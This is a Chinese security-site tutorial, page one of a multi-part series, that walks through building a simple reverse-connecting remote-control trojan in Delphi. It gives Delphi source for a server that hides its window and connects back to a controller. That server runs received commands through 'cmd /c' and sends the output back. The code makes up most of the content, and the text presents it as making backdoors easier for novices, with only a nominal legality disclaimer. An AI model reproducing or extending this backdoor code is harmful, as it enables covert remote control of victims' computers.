欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

DELPHI黑客编程(三):简单远控原理实现

来源:本站整理 作者:5ecurity 时间:2018-04-12 TAG: 我要投稿

前言
通过前面两节的内容相信大家已经对后门原理有了基本的概念,并了解了socket编程和进程通信方面的知识。但有小伙伴反应说这种没有界面的后门对于小白使用起来很不方便,那本节将给大家带来简单界面的远控demo实现,正如大家知道的delphi做界面开发是很方便的,并且有很多好用又简单的控件可以使用,与之前两节相比可视化程度要高很多。那本节就主要带大家体验一下delphi可视化的远控demo实现。
PS:本文仅用于技术讨论分享,严禁用于任何非法用途
一、远控原理
远控与后门的功能类似,其实现在来说远控木马和后门的区别已经不大了,在早年间,后门一般都是偏重隐藏,而木马一般偏重功能全面。现在基本上木马后门的界限已经很模糊了。本节要实现的是一个反弹性的远控,分为被控端(server)和控制端(client)两部分。控制端程序client监听本地端口,被控端server向控制端client发起连接,控制端client接受连接后记录被控端ip地址,并选择要控制的ip发送控制指令。出于原理演示,我们就用最简单的两个socket来实现网络连接和控制,被控端和控制端互相作为连接的发起方和接收方。说起来很绕,下面看图就很清晰了:

基本原理就是这样了,下面看下功能。
二、远控简单功能
仅为演示,功能就简化下命令执行。被控端还是要隐藏窗体,这个隐藏窗体和之前的后门可是不一样的,之前后门是创建的“Console Application”,这次我们创建的是“Application”,隐藏的方式也就不一样了,需要在创建窗体后设置窗体显示参数:
Application.ShowMainForm := False;
这样窗体就不会显示出来了。
三、远控实现原理
这回就要分两部分说了,一个是被控端一个是控制端:(一)、被控端server1、设置控制端client连接地址和端口,并连接控制端client;2、被控端server发送本机ip地址给控制端client;3、开启本地socket监听端口等待控制端的指令,收到执行就创建进程执行指令;4、将执行结果作为回显发送给控制端。(二)、控制端client1、开启本地socket监听端口等待被控端连接并接收被控端ip地址;2、当选择了被控端和要发送的控制指令后,连接被控端地址并发送控制指令;3、当被控端执行完指令后会把结果回传回来,接收到回显后在界面显示。
四、代码实现
下面看看具体代码:(一)、被控端server与之前开发略有不同,之前是直接上代码,这回我们体验下图形化编程的便捷,拉一个窗体出来,拖几个我们要使用的控件上来:

如图,一共5个控件,功能分别是获得本机ip、定时运行、socket客户端(用来连接控制端,并发送信息)、socket服务端(用来开启本地监听端口,接收控制指令)、存储命令执行回显信息有了控件接下来就是编写代码啦1、设置控制端client连接地址和端口,并连接控制端client;
//定时循环执行连接控制端
procedure TForm1.Timer1Timer(Sender: TObject);
begin
  cs1.Active := false;
  cs1.Address:='127.0.0.1';
  cs1.Port := 9904;
  cs1.Active := True;
end;
2、被控端server发送本机ip地址给控制端client;
//发送格式是Myip加本机ip地址,这是一个小技巧,用Myip做标识,控制端接收到后会取后面的作为ip地址
procedure TForm1.cs1Connect(Sender: TObject; Socket: TCustomWinSocket);
begin
  timer1.Enabled := False;
  cs1.Socket.SendText('Myip'+myip1.LocalIP);
  end;
3、开启本地socket监听端口等待控制端的指令,收到执行就创建进程执行指令;
//进程通信还是使用最早的匿名管道方式
//接收到指令后,加'cmd /c'拼接成完整命令
Remotecmd:='cmd /c'+socket.ReceiveText;
lsa.nLength := SizeOf(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor := nil;
lsa.bInheritHandle := True;
//创建两个匿名管道用来读写信息
if CreatePipe(Readniming,Writeniming,@lsa,0) = false then
begin
cs1.Socket.SendText('不能创建匿名管道');
Freemem(ph);
Freemem(fname);
Exit;
end;
//创建进程,执行cmd命令
StrPcopy(fname,Remotecmd);
    if CreateProcess(nil,fname,nil,nil,True,0,nil,nil,si,pi) = False then
    begin
    cs1.socket.SendText('不能创建进程');
    Freemem(ph);
    Freemem(fname);
    Exit;
    end;
    While(true) do
    begin
    if not PeekNamedPipe(Readniming,ph,1,@cchReadBuffer,nil,nil)  Then break;
    If cchReadbuffer  0 then
    begin
    if Readfile(Readniming,ph^,4096,cchReadBuffer,nil) = False Then  break;
    ph[cchReadbuffer]:=Chr(0);
    Memo1.Lines.Add(ph); //命令执行结果保存在Memo1里
    end
    else
    if (WaitForSingleObject(pi.hProcess,0) = WAIT_OBJECT_0) Then break;
    Sleep(500);
    end;
    ph[cchReadBuffer]:=Chr(0);
    Memo1.Lines.Add(ph);
4、将执行结果作为回显发送给控制端。
//发送回显给控制端
    cs1.socket.Sendtext(memo1.Text);

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载